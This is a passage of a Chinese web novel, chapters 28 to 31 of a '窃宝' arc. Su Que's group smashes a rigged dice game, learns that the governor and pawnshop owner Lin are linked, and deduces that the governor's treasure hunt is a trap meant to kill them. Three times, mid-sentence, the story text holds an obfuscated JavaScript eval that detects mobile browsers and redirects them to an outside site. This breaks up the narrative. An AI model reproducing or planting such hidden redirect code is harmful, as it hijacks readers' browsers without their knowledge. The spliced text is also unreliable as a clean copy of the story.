然而，他话音刚落，唐柳一就停下脚步转过身，眼神如刀一般盯着谢天戎，讥讽道：“谢天戎！你昨天在我们面前，可不是这套说辞，你有种就把昨天苏却和宋停回来之前，你跟我们说的那些话，当着他们的面，再重复一遍。” 谢天戎的身体瞬间僵住，脸色变得惨白。 任世楚的脸上也浮现出尴尬和歉意，他看向苏却和宋停，叹了口气道：“苏公子，宋公子，实在抱歉。昨日……我确实太心急了，对二位有所怀疑，实在不该。” 宋停凑到谢天戎面前，问：“哦？那到底说了我们什么啊？我很好奇。” 谢天戎死死低着头，一个字也说不出来。 但从唐柳一的愤怒和任世楚的道歉来看，他昨日所说的，绝非什么好话。 恐怕是编造了苏却和宋停与那老板早有勾结，意图陷害众人之类的谎言，言辞间尽是挑拨和污蔑，这才激起了众人昨夜的敌意和质问。 那，谢天戎又为何要这么做？ 28. 窃宝（九） 窃宝（九） 谢天戎既然已经开始挑拨离间，就绝不会就此罢手，定然会有下一步动作，达成他的计划。 苏却对此心知肚明，但她并未立刻发作，毕竟清者自清，眼下与他争执并无意义，反而只会打草惊蛇。 自从再次踏入这疯狂之地，她的眼神就一直不曾离开赌场，目光扫过每一张赌桌，每一个狂热的赌徒。 所有人使用金银作为赌资，当金银耗尽，而欲望不止之时，赌徒便会用自身拥有的一切，去诡闻当铺换取新的赌资，再重新回到赌桌上。 赌，只是一个看得见的漩涡入口，其下连接着的，是诡闻当铺那无止境的深渊。 一旦痴迷其中，最终输掉的将不仅仅是钱财，还有人身，与人生。 那么，太守每日给予他们的金银，其用意就昭然若揭了。 这并非单纯代表他们每日的命筹，而是真正的筹码，是让他们来这个地下赌场的赌资。 太守的目的，就是要让他们被这赌场吸引，进而接触到其背后的诡闻当铺。 玉麒麟的失窃，也必然与当铺有着千丝万缕的联系。 可是，那尊玉麒麟究竟在何处？ 当铺库房中没有，如此招摇显眼的宝物，若在赌场之中，也早该引起轰动，但显然也没有。 那么大一件玉雕，能藏在哪里？ 而王纪福的失踪，又是与什么有关？ 一个念头闪过，苏却突然开口，直接叫住了走在稍前方的人：“谢天戎。” 谢天戎身形微微一滞，回过头，脸上带着几分心虚的疑惑：“苏、苏哥，怎么了？” “你用寿命，换了什么？”苏却的目光直视着他。 谢天戎愣了一下：“啊？我？自然是换了护命符啊！不然我怎么可能还好端端地站在这里？还能换什么？” “没什么，”苏却收回目光，语气淡然，“我随便问问。” 这时，任世楚故意放慢了脚步，与苏却并肩而行。 他压低声音，确保只有两人能听到，道：“你是怀疑，谢天戎根本没有换护命符，而是只用了一年寿命，换了窥命镜，靠额外增加的命筹与他人对调，避开了末位之祸？” 苏却并不隐瞒：“嗯。” “可是当时，”任世楚眉头紧锁，提出疑问，“除了他本人和你我以外，其余人得到的命筹应该都是一个银锭。既然他成功避开了末位，那按理说，其他人便都同为末位。为何最终消失的，偏偏是福叔？总不可能是随机选取一名吧。” “所以，他一定还做了什么事。”苏却的眼神落到背对着他们，只顾在前面一个劲儿往前走，偶尔搭两句腔的谢天戎身上，“只是我们不知道罢了。” 就在这时，身侧一张赌桌后，一个满脸堆笑的人朝着他们这一行人高声吆喝起来。 “哎哟，几位面生得很呐。是头一回来咱们这儿找乐子吧？来来来，瞧瞧咱这桌运道乾坤，猜的不仅是大小，搏的不只是钱财，掷一把骰子，不仅能定输赢，还能窥天机、问前程、卜未知。想问姻缘、问财运、问生死祸福吗？骰子一响，黄金万两；盅盖一开，天命自来！要不要试试手气如何？” 谢天戎立刻回头对众人道：“就是这！就是这桌！昨天我们和福叔就是在这玩的！” 他脸上似有担忧和焦虑：“几位哥哥姐姐，要不……我们也试试？福叔待我如父亲一般，我是真的，真的很想找到他的下落。我们可以试一把小的，就当打听消息了？” 然而，众人极为谨慎，并不敢轻易冒险。 那庄家的目光在几人脸上逡巡，最后落在了宋停身上，笑容变得有些暧昧：“这位小郎君，瞧您面如冠玉相貌堂堂，可惜尚未娶妻吧？难道就不想知道，红鸾星何时动？五年内，还是十年内？不想知道自己何时能洞房花烛，抱得美人归，成家又立业，享尽齐人之福吗？” 宋停一愣，仿佛听到了天大的笑话一般，叉着腰，哈哈哈哈哈笑了很久很久，引得周围不少人侧目而视。 笑罢，他脸色一肃，仿佛换了个人，重重一拍赌桌，竟真的在那庄家对面坐了下来，一本正经道：“好！我倒要听听你会如何说。” 苏却本以为宋停只是惯常的嘴贫胡闹。 毕竟他并无命筹金银参与赌局，便懒得管他，由着他去闹腾，或许还能探听些虚实消息。 然而，下一刻，宋停竟真的从袖袋里掏出了一个纯金长命锁，虽没什么做工，但看着就极有分量。 怕是他，昨晚从当铺库房顺出来，恰好能直接做赌的金料。 他犹豫了一瞬，最终还是将其压在了赌桌上“小”的格子里。 那庄家见状，眼中贪光大盛，笑容更加热情：“好！小郎君爽快！买定——离手——！” 他拖长了音调，伸手就要去拿桌上的骰盅。 就在此时，一只白皙却有力的手更快一步，扣住了庄家的手腕。 庄家一愣，抬头看去，正是苏却。 “且慢。”苏却声音清冷，“这一局，可否由我来摇盅？” 庄家脸色微变：“这位郎君你这是何意？咱们这儿的规矩，向来是由坐庄者摇盅，岂有客人代劳之理？” 不等苏却回答，任世楚抢先一步，圆滑地笑着解释道：“这位老板莫怪莫怪，多包涵多包涵。实在是，我们身上金银不多，这金锁已是最后的盘缠了，万一……你这手要是稍微那么一抖，我们岂不是血本无归？由我们自己人来摇，输赢我们都认了，绝无怨言！你看这……” 庄家眯起眼睛，打量了一下任世楚，又看了看面若霜雪，手如铁钳，纹丝不动，一脸不好惹的苏却，再瞥了一眼桌上那枚成色不错的金锁，眼珠转了转。 僵持了一会儿，他嘴里嘟嘟囔囔着：“没有这样的道理。” 但脸上又重新堆起笑，妥协道：“也罢，咱们啊也不是不清不楚的人，既然各位如此不放心，破例一回也无妨。郎君，你请吧！” 说着，他将骰盅推向苏却，摊手示意。 苏却松开钳住手腕的手，拿起那只漆黑的，入手冰凉的骰盅。 她看了看赌桌对面的庄家，又瞥了一眼站在一旁，神情比宋停还关注，甚至紧张到额间微微出汗的谢天戎。 苏却手腕一抖，骰盅在她手中上下翻飞，划出道道残影。 骰子在盅内哗啦作响。 她一边摇盅，一边暗中给宋停使了个眼色，然而宋停仿佛全然沉浸其中，毫无反应。 倒是一旁的任世楚敏锐地捕捉到了苏却的眼神。 他立刻心领神会，不动声色地挪动脚步，靠近了唐柳一、姜云姮和严丰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370068|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廷，拉拉他们的衣摆，目光交流。 骰盅摇动的声音越来越急，气氛也越来越紧张，所有人的目光都聚焦在那只骰盅上。 终于，苏却手腕猛地向下一扣。 “砰——” 骰盅重重地砸在赌桌之上。 所有的声音在这一刻戛然而止。 庄家、谢天戎、宋停，乃至周围一些被吸引注意力的赌徒，都屏住了呼吸，眼睛死死盯着那只骰盅。 苏却深吸一口气，缓缓地将盅盖揭开—— 没有点数。 盅底静静躺着的，是一小堆白色的齑粉。 三颗骰子，竟然在刚才的摇晃中，全部被震得粉碎。 “这……！”庄家脸上的笑容瞬间凝固，随即转为暴怒的狰狞，他一拍桌子指着苏却怒吼道，“妈的！你们敢砸老子的场子！来人啊！给我把这几个闹事的抓起来！” 不远处，早已注意到这边情况的几名护卫闻声，立刻拔刀，气势汹汹地奔来。 “走！”苏却低喝一声，反应极快，一把拉起还在发愣的宋停，迅速朝人少的方向退去。 任世楚也同时动作，护着姜云姮和严丰廷急退。 唐柳一更是彪悍，直接一脚踹翻旁边一张赌桌，桌上的金银哗啦啦洒了一地，瞬间引起更大的混乱，暂时阻挡了护卫。 赌场内顿时一片鸡飞狗跳，惊呼声、咒骂声不绝于耳。 苏却拉着宋停，跑在前面带路，其余人紧跟在她身后。 几名护卫试图追赶，却被混乱的人群和唐柳一制造的路障阻挡，一时难以快速靠近。 他们飞快地攀上石阶，进入密道，可一路都有火把指向，会很难甩开追赶之人。 好在她记性不错，拐了几道后，众人藏匿在漆黑的暗道中，听得外面不再喧哗，确认暂时安全后才稍稍放缓脚步走出，重新按照火把的指示，准备离开。 这条密道，是通往太守府后花园的那条。 “苏却，”任世楚喘着气，问道，“你是什么时候发现赌局有问题的？” 苏却摇头，气息平稳：“只是猜测，并不确定。” 她顿了顿，继续分析。 “谢天戎今日故意带我们来到赌场，言辞间又在怂恿我们参赌，绝非真的好心要救王纪福。一个末位之人，若要逆天改命，最直接的方式，就是拉身边之人下水。我想，成功参与赌局，便是必死条件之一了。王纪福昨日会参与那场赌局，大概率也是受了他的诱骗，因为他曾经说谢天戎像他的儿子，所以他料定了，以儿子生死为注，王纪福必会入局。而今日他带我们去，道理相同，无论我们当中谁被那赌局坑害，对他而言都是有利无弊。因为他兑换了窥命镜，知晓命筹排名，而我第一日应该是命筹最高，若能将我除掉，于他而言，更是形势大好。” 任世楚其实心中早有几分猜测，可是听见苏却这样说，脸色依然极其难看：“所以，你的意思是，福叔他……已经遭遇不测了？” 苏却声音低沉：“怕是今晚，掌柜就会来告知我们去菜市口的消息了。” 想到菜市口那些血腥恐怖的场面可能会属于王纪福，所有人都沉默不再言语，一丝寒意浮上心头，面色蒙灰。 “而且，”苏却补充道，“太守和那当铺老板，恐怕根本就是一伙的。” 29. 窃宝（十） 窃宝（十） 苏却此一句，犹如一块巨石，原先的波澜尚未平息，又掀起了一阵巨浪。 众人还在思索其中关联时，苏却忽然意识到另一个被忽略的异常。 “等等，”她脚步缓了几分直至停下，“那几个一直跟着我们的护院兵，不见了。” 众人闻言，立刻回头。 确实，从赌场混乱，到他们一路奔逃至这密道，一直沉默跟随的太守府护院兵，不知在何时已然消失无踪。 “是不是被赌场的人拦下了？还是跑散了？”姜云姮猜测道。 严丰廷轻轻摇头，怯生生道：“不不……像，他们身手不弱，且……职责在身，若非特殊，绝不会……而且，若有交手，我们……多少该有所察觉。” 唐柳一冷哼一声：“管他呢，少了几条尾巴，正好方便行动。总在后面盯着看，束手束脚我难受得紧。” 任世楚推测：“看来，太守已经觉得无须浪费人力监视我们了。我们或是已经接近真相，或是……全军覆没。” “……”这个猜测过于骇人，没人敢再说什么。 可无论是哪种原因，护院兵的消失都代表着他们当中有什么，出现了变化。 “先出去再说。”苏却沉声道。 由于其他人并未查到地下赌场，来时又是谢天戎带的路，此刻就只能信任苏却的带领。 终于，在爬上悬梯，推开棺材挡板后，刺目的日光涌入，众人眯着眼，总算陆续走出。 此时天色看起来约莫是正午过后，阳光正好。 太守府内亭台楼阁，奇花异草，一派宁静祥和。 刚刚经历了一场心惊肉跳的追逐，又揪出了包藏祸心的谢天戎，几人都略感疲乏。 尽管王纪福的遭遇令人痛心，不过，几人似乎因这份惋惜与愤慨，短暂地生出一种同仇敌忾的信任与依赖。 大家便商议着不如趁此机会在府内四处看一看，逛一逛，寻找是否会有其他相关的线索，等到傍晚例行向太守汇报后，再回客栈从长计议。 几乎是不用讨论，六人就已经分队站开。 姜云姮、唐柳一、严丰廷三人性格脾气多少互补，结为一组。 任世楚则向苏却和宋停这边靠了几步。 于是，一组决定趁白日太守忙于他务之际，再次探访玉麒麟失窃的楼阁，希望能发现一些那日夜间未能留意到的细节。 而苏却则打算去探一探太守及其儿子的起居之所，或许能有所收获。 任世楚很自然地走到苏却身侧，与她并肩而行，宋停则晃晃悠悠地跟在他们身后。 没有继续碎嘴的他，不知是不是遗憾刚刚没能看到骰子的点数，遗憾不知赌局的输赢。 “其实，你有方才那样的推测，我一点也不觉得意外。”任世楚开口，看着苏却，“我第一日的命筹，与他们并不一样。是因为我白天翻墙入府避开院兵来了这。” 苏却侧目，问：“哪里？” “太守府的库房。”任世楚压低声音，“这个地方大有问题，库房里，有很多很多并不应该出现在地方太守府库的东西。” 他停下脚步，神情变得极为认真。 “苏却，我知道你先前拒绝过我，但我今日仍是这个态度。你若是信不过我，”他深吸一口气，下定决心道，“我任世楚可以在此先行坦白我所知的一切，以示诚意！如何？” 不等苏却回应，宋停一个箭步从后面挤到二人中间，讥诮道：“哎哟喂，你坦白？谁知道你嘴里吐出来的是真话，还是又一个谎话？咱们又不是没遇到过你这般的人物，表面光风霁月，满嘴的仁义道德，肚子里指不定藏着多少偷奸耍滑的算计呢，说得比唱得都好听。” 任世楚面对宋停的嘲讽，并未动怒，只是眉头微蹙，目光依旧坦诚地看着苏却，等待她的回应。 苏却确实被勾起了一丝好奇。 先前如周远至，也是大道理一堆，可真到关键之处，盗宝盒、反口咬、抢亲、杀人……桩桩件件毫不手软，皆是奔着有利于自己，甚至致他人于死地去的。 眼前的任世楚，真如他们所见吗？ 或者，亦是演技一流的自私自利之辈？ 苏却冷声道：“我确实有疑。” “你从一开始，就一直在极力说和，可这样的人，大多数都心怀鬼胎另有图谋，那么你，又所图为何？即便你是真心，可人心善恶难辨，你又是依据什么来判断谁值得信任，谁又虚情假意？仅仅依靠直觉，或者……你根本不在意？” 任世楚目光炯炯，清晰而有力地回答道：“因为，我要证明，真心，是可以交换到真心的。” “噗——哈哈哈哈哈哈！”宋停此时的笑比在赌场更夸张，他笑得前仰后合，几乎要喘不上气。 “我的天爷！我以为你顶多是个伪君子，没想到你是个真傻子！真心？哈哈哈哈！在这鬼地方你谈真心？你拿什么谈？拿你那条随时可能丢掉的命吗？哈哈哈哈！” 任世楚静静地看着宋停大笑，直到他的笑声渐渐歇下，才缓缓开口：“你也不是第一个这样嘲笑我的人。我自知，眼下有这样的想法，确实过于天真，甚至愚蠢。” 他继续道：“但正因如此，才更显其珍贵，不是吗？若因前路艰难，世人嘲弄，便畏缩不前，丧失了迈出第一步的勇气，那所有黑暗，便永远不会有被照亮的一刻。” 他微微挺了挺脊背，声音不高，却字字清晰，掷地有声：“我并非不知变通，也懂权衡利弊，我亦深知人性幽暗，世道艰险。但我更相信，有些路，总得有人先去走；有些信任，总得有人先给。即便任重道远，但，我想证明，我可以。” 苏却沉默地看着任世楚，她见过太多人性的丑恶与背叛，虽然是人不犯我我不犯人，却总习惯用最大的恶意去揣测或防备。 任世楚的这番话，在她听来确实天真得可笑，却又让她心底轻轻触动了一下。她虽无法完全认同，却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377191|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也无法轻易嗤之以鼻。 连一向牙尖嘴利的宋停，都一时语塞，只是撇撇嘴，哼了一声，却没再继续。 恰巧来到库房外，只见沿着墙站着一圈院兵，一队一队巡逻兵也是几乎无间断来回穿插，库房门紧闭，显然是有所防范。 想来也是，毕竟当时大家都带着太守的第三只眼，众人一举一动了他了如指掌。 对他自己不利的信息，他自然分外谨慎。 只是，今日这般防守实在太过严密，只能作罢。 任世楚似有不甘，将话又转了回来：“那日我在这，看到了一些标着昭明年号贴着官封的箱笼，里面似乎是，贡品。” “吞金神蟾……”苏却下意识地喃喃自语，想起了昨晚在当铺库房空箱上看到的封条字样。 任世楚耳朵极尖，脸上带上一丝惊讶：“你怎么会知道这个？” 苏却并未直接回答，反问道：“你既知此名，可知其详？” 任世楚神色凝重起来，压低声音道：“据记载和前人口耳相传，这好像是一只……活物。” “活物？”宋停也凑了过来。 “是，形似蟾蜍，通体虽是纯金锻造，却能自行活动。”任世楚介绍道，“它的奇异之处在于，不食五谷，唯吞噬黄金珠宝这类的宝物，且胃口极大。并且，听说凡向其献上足够金银宝物者，它能达成献宝者内心深处的愿望……它曾是西域某小国的镇国之宝，后来被作为贡品献予我朝。” 他顿了顿：“然而，据说当时在贡队行进途中，此宝连同装载它的特制金箱一起神秘遗失。当时圣上震怒，以为监守自盗，处死了大批负责押运的官员和护卫。可事后多方彻查，竟未发现任何人为盗窃的痕迹，仿佛那神蟾，是自己逃走了。故民间称其为‘嗜血金蟾’，认为其达成愿望需付出难以想象的代价。” “自己逃走？”苏却哼笑。 任世楚苦笑：“卷宗记载语焉不详，多归咎于精怪作祟。真相如何，早已湮没。我知道的全部，都已经告诉你们了。” 他神情坦然，似乎确实再无隐瞒。 宋停盯着任世楚，笑道：“哦，是吗？可昭明年号前后沿用超过一甲子，即便是昭明末年，也已是二十几年前的事了。看你年纪，与我们相距并不大，对这些宫廷秘闻民间趣事竟能了如指掌，说起来如数家珍。怎的还如此谦虚呢？” 任世楚闻言，脸上的笑容渐渐敛去，神色晦暗了几分，沉默了片刻，才低声道：“那是因为，那场因神蟾遗失而引发的屠杀……与我的父亲有关。” 这个答案出乎意料的沉重，让宋停一时哑然，不知再如何质疑。 就在这时。 “啊——！！！！！！” 一声尖锐凄厉的叫声，从楼阁方向破空传来，划破了午后的宁静。 是唐柳一的声音。 出事了！ 三人脸色骤变，身形一动，毫不犹豫地朝着声音传来的方向疾冲而去。 30. 窃宝（十一） 窃宝（十一） 几个起落间便已接近楼前。 只见姜云姮、唐柳一和严丰廷三人正倚靠在大门旁的柱子上，眼带惊惶，个个脸色惨白如纸，大口大口地喘着粗气，显然是一路狂奔至此。 “怎么了？发生什么事了？是不是楼里面出了什么变故？”任世楚箭步上前，目光扫过三人周身，见并无明显重伤，心下稍安。 “轿轿子里……那个那个男人……他他他……他在……里里里面！”严丰廷上气不接下气，手指颤抖，直指向楼阁门内。 “什么？”苏却眉头紧蹙，又疑又惊。 “就是菜市口那个坐轿子里的男的。”唐柳一稍微缓过一口气，替严丰廷补充道。 那人此刻不在当铺，也不在赌场，到太守府干什么？ 姜云姮的声音带着一丝不确定的疑惑：“你们方才过来时，有感受到地在震动吗？” 宋停闻言，立刻双脚并拢，跳了几跳，仔细感受了片刻，却并未发现任何异常。 任世楚也跺了跺脚，摇摇头，肯定地道：“没有。地面一直稳固，并无丝毫震动。为何有此一问？” “那就当真奇怪了……”唐柳一揉着自己摔疼的胳膊和腿股，龇牙咧嘴地抱怨道，“我们三个方才潜进楼里，一路小心翼翼摸上三层，本想再仔细探查一番。结果刚到楼梯口，就隐约听见上面有人低声说话。我们偷偷探出头去看，你猜怎么着？居然是太守和那个男的在一起，两人挨得极近，似乎在密谈什么。” 她喘了口气，继续道：“我们不敢靠太近，只隐约捕捉到几个零碎的词……什么‘今天’、‘明天’、‘够不够’、‘该死’、‘麻烦’……之类的，断断续续，连不成句，也听不清全貌。我想着机会难得，便屏住呼吸，准备再靠近一点点，哪怕多听清几个字也好……结果不知怎么的，就被发现了。” 姜云姮接话道：“男子身边的护卫身手很快，向我们直扑过来。当时情况危急万分，只剩逃走一法，可刚回身，我就感觉到周围的一切都在猛烈地摇晃、震动！我们根本站不稳，东倒西歪……” 唐柳一忿忿道：“可不是，我就这么一下子没稳住，脚下一空，直接从楼梯上滚了下去。太邪门了！还好他俩反应快拉了我一把，也还好我自己敏捷，关键时刻拼命扭了一下腰，不然差点就一头撞上牛角尖，直接脑袋开瓢，当场没命。真是晦气！” 她抬手抹了抹脸侧。 苏却这才看见，唐柳一左侧脸颊上有个小伤口，虽不大，但血珠仍在慢慢渗出。 就在这时，一阵爽朗逢迎的笑声从楼阁大门内传出，只见太守与那位当铺老板并肩走了出来，两人相互拱手寒暄，十分熟识热络。 “哎呀呀，多谢多谢多谢林老板，每次都劳您大驾，亲自跑这一趟，实在是让本官过意不去。真是帮了大忙了。”太守的声音热情高昂。 那当铺林老板语气从容：“太守大人太客气了，区区小事，何足挂齿，能为大人分忧解难，是林某的荣幸。倒是林某这边，还要多谢太守大人平日里的关照。那便就这样说定了，林某就静候太守大人的佳音了。” 他的话滴水不漏，重要内容一字未脱出。 眼神却若有似无地扫过站在门口的苏却等人，嘴角一勾，并未再多言，弯腰便钻入了已悄然停在一旁的软轿中。 轿夫抬起软轿，迅速消失在花园小径尽头。 方才还满脸春风的太守，目送轿子远去后，脸上的笑容瞬间消失。 他猛地转过身，极其不耐烦地瞪着苏却一行人，从鼻子里发出一声冷哼，与方才判若两人：“愣着干什么？你们都进来。” 众人被这突如其来的疾言厉色弄得一怔，互相对视一眼，但当下也只能压下满腹疑问，跟着面色铁青的太守，再次进入了那间他们曾来过的雅室。 一进屋，太守甚至没让众人坐下，自己也不坐，只是双手负后，一边来回踱步，一边劈头盖脸地训斥起来。 “你们……你们！让你们去找玉麒麟的下落，你们倒好，本事不大，惹祸的能耐倒是不小！这才几天？竟然招惹到那位林老板头上去了，你们知不知道他是什么人？啊？！” 他越说越气，脚步跺得咚咚响：“如今好了，事情被你们弄得更加复杂，本官刚刚费尽九牛二虎之力，赔尽了笑脸，才从他口中好不容易探得，玉麒麟，如今确实就在他手上。” 这个消息林老板早就亲口告知了苏却，但其余几人闻言，面上都露出了惊讶。 太守气得越发狠了，继续咆哮道：“请你们赏宝，赏着赏着，赏到人家当铺里去了，还要被人来上门威胁……哼！他算是什么渣滓，也敢威胁我？我可警告你们，此事若有什么三长两短，你们一个个都别想活着离开这里！” 随后，他像是找到了一个宣泄口，开始大肆数落起那位林老板的种种恶行。 “那个姓林的！根本就是个疯子！怪胎！本官看他就是身有暗疾，心中扭曲，偏生能读人心思又会妖法，只爱那些残忍暴虐又折磨人的勾当。你们总应该亲眼看见过吧，那些缺胳膊少腿、眼瞎耳聋的人是怎么来的？他那群手下如狼似虎，用着闻所未闻的酷刑虐杀，简直丧尽天良！禽兽不如……” 太守滔滔不绝，将自己塑造成一个无奈被动之人，且同样深受其害，并将寻回玉麒麟的难题，再一次甩到他们头上。 “今日他来已经明确说了，想要换回玉麒麟，必须拿出实实在在的珍品宝物，寻常的金银珠宝，古玩玉器，根本入不了他的眼。你们自己闯的祸，你们自己收拾，剩下来的几天内，拿回玉麒麟，本官就放了你们。” 在场无一人敢应答。 如今太守已知晓玉麒麟下落，但没有动作，只叫他们自己想办法找奇珍异宝，去阴险精明的当铺老板那儿换回来？ 这和直接叫他们去送死有什么区别？ 苏却冷静地看着太阳渐渐西沉，橘红色的余晖透过窗棂。 她上前一步，淡然打断了太守说话：“太守大人，时辰不早，今日探查已毕，请将今日的命筹给我。” 太守被她直截了当的索要弄得一愣，脸色瞬间变幻了几下，青白交加，终究狠狠瞪了苏却一眼，极其不情愿地从袖中取出几个钱袋一一扔给他们。 给到苏却时，他刻意停顿了一下，盯着她的眼睛，一字一顿地告诫道：“该说的，本官都已经说了。如今你们的事，只能你们自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382393|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做主，也怪不得旁人。若是命丧于此，那也只能你们自己……自认倒霉！” 最后四个字，如同一句诅咒，他说得又缓又慢，重重砸在每个人的心上。 自认倒霉。 简简单单。 可是，凭什么？ 回到客栈大堂，天色就暗了下来。 烛火跳跃着，在众人脸上投下明明灭灭的阴影。 苏却率先打破这令人窒息的沉默。 她走到桌边，将手中的钱袋放下，声音冷静而清晰：“事到如今，也算是一个新的开始，我们便从头捋一捋。就从第一个晚上，我们来到此地开始。” “第一晚，我们受邀参加了赏宝宴会，玉麒麟在灯火熄灭的瞬间离奇失踪。太守要求我们七日内查明真相，寻回宝物。之后，我因追踪一个在街市行窃的小贼，发现了地下赌场的入口，继而顺藤摸瓜，遇到了诡闻当铺的林老板。并恰巧将太守那位滥赌成性的儿子带回府中。与此同时，任世楚在太守府库房发现大量贡品箱子。” 她的目光转而投向姜云姮、唐柳一和严丰廷三人：“那么，姜姑娘、唐姑娘、严公子，你们第一日，都做了些什么？” 姜云姮闻言，柔声答道：“当天清晨在客栈时，我们就曾商议，玉麒麟凭空消失，实在难以置信，再因为并没有别的地方可以去，故此就一起去了楼阁之中。福叔尤其坚持，他认为楼阁内定然存在机关或暗道。所以我们分散在楼内各处，花了很长时间寻找，但……最终仍是一无所获。” 严丰廷非常肯定地点头附和，神情也是难得的认真与严肃：“是的，苏哥，我们几个做的事情几乎都差不多，所以我们得到的命筹，都只是一个银锭。” “当时，谢天戎也与你们在一起行动吗？”苏却追问道。 “表面上是在一起的，”唐柳一撇撇嘴，“他当时曾跟着我们四处查看，还时不时发表些意见。我嫌烦，并不欢迎他，就赶他走了。但现在仔细想来，谁知道他是不是真在认真寻找？说不定在哪处角落里偷懒呢。” 苏却点点头，继续沿着时间线梳理下去，“所以，当晚掌柜出现，让我们去菜市口看那场杀鸡儆猴的戏码，虽并未告知谁会遭遇祸事，但我们都已断定谢天戎是末位人选，推测当晚他就兑换了窥命镜，改变了命序。” “紧接着，第二天，蹊跷之事发生了，前一天晚上还在苦苦哀求我们救他的谢天戎，主动地拉王纪福，准确无误地找到了入口隐秘，寻常人难以发现的地下赌场，并且又恰好参与了一场赌局。去完菜市口，再次领取命筹之时，王纪福已失踪……所以，你们觉得，谢天戎是如何得知入口如此隐秘的地下赌场？” 宋停一拍大腿，恍然大悟：“你的意思是……太守？” 苏却：“不错，此过程中，谢天戎除非是自己找到入口，并参透其中规则，否则，他的信息来源只有太守。他们之间具体发生了什么我们无从得知，但是我可以肯定，是太守告诉他参与赌局就会毙命，这就是末位之祸，或者说，这根本不能称为祸事，而是末位之责，太守要利用第一日表现最弱的一个人……” 苏却顿了顿，眼中闪过彻骨的寒意。 “除掉我们。” 31. 窃宝（十二） 窃宝（十二） 唐柳一的眉毛拧成疙瘩，五官皱成一团。 她使劲甩了甩头，对着苏却十分不解地问道：“你说的过程我都听得懂，可为什么我还是无法理解？除掉我们？你是说太守？他不是叫我们找玉麒麟吗？又为何要除掉我们？” “因为威胁。”任世楚接过话头，道，“他私藏贡品，已足够被判处极刑并株连。” “啊——原来如此。”严丰廷张着嘴点头，一脸懂了的表情，他看看唐柳一，再对她点了点头，道：“怪不得他，他要派人监视我们，原来只是为了掌握我们调查的深度是否对他构成威胁。” 姜云姮亦不解，问道：“可，既是贡品私藏，就该束之高阁，为什么还要大张旗鼓地举办这个赏宝大会，平白授人以柄呢？这岂不是自相矛盾，惹火烧身？” “因为，丢失的玉麒麟并不是贡品。”苏却平静道，“他不是傻子，相反，他很聪明。我之前猜测他与当铺老板是一伙的，这只是表象。实则，他正在巧妙利用此地的规则和当铺老板杀人。他这座楼阁里，或者说整个太守府，都不会有任何一件贡品，库房里的众多贡品箱子，其目的，可能是为了试探我们是否会顺着贡品去深挖更多线索。” 几人心中一惊。 任世楚愣了一会，道：“你的意思是，所谓赏宝大会，所谓玉麒麟失窃，从头到尾都是一个幌子，麒麟是假的，叫我们找宝也是假的……太守只是借赏宝大会的机会，让众人知道自己的藏品一干二净……随后转运之时便可以不引起别人的怀疑。” 姜云姮眼里一片震惊与绝望，道：“那我们，不过是他找来的见证人罢了，七日之限，根本就不是破案的期限，而是……而是他为我们设定的……死期。” 苏却从怀里拿出这三日的命筹钱袋，放在桌子正中间，道：“各位并不是第一次来这个客栈，可以说一说，之前的命筹如何。” 众人短暂的目光接触后，异口同声：“纸条。” 苏却点头，道：“明明我们的任务是找宝物，毫无用钱之处，为何此次取消了纸条命筹，反而改用金银？因为，这东西，是我们去赌场的本钱。” 她环视众人：“客栈枕头有异一事，有人知，也有人不知。那么，听见过的人可还记得，夜里无法安眠，总觉外面有喧哗吵闹之声，那声音，熟悉吗？ 严丰廷瞪大了双眼：“这么一说……所以，竟然在，在我们睡觉之时就已经暗示了赌场的信息？” “不错。”苏却道，“因此命序排名越高，离太守要掩盖之事就越近，命筹就越多，死的可能就越大。而且赌场里早就安排好了，赌心之局，不怕不上钩。” 几人都回想了一下当时，如果庄家说的是自己心中最期盼、最好奇、最放不下之事，只怕确实很难抵抗此等诱惑，背后顿时惊出一身冷汗，一时都沉默了下来。 苏却继续冷静分析道：“我们可以试着还原一下，当谢天戎进入太守雅间，被告知是末位的那一刻，他一定比跪在我们面前表演之时更加无助。而在太守告诉他只要引诱我们去赌场赌一局，就可以以一换一，救他一命的时候，他一定二话不说马上答应。” “随后他装作丝毫不知情，想试一试我们对他的态度时，发现在场之人只有王纪福心软，便先拿他试水。果不其然，他上钩了。于是第三天他假借调查，将我们所有人都带去了赌场，并以调查为由极力怂恿……” “可，我不是七人之一，我也没有命筹，为何那庄家要冲我而来？”宋停问。 “你不一样。”苏却声音如刃，回道，“因为，你在他当铺里拿了东西，是当铺老板要你死。不然昨天晚上何故守卫突然撤走，予你我方便？” 宋停惊呼：“那人早就知道了？！他故意的？！” 见众人面露疑色，苏却简略解释道：“昨天晚上，我与宋停曾夜探当铺库房……” 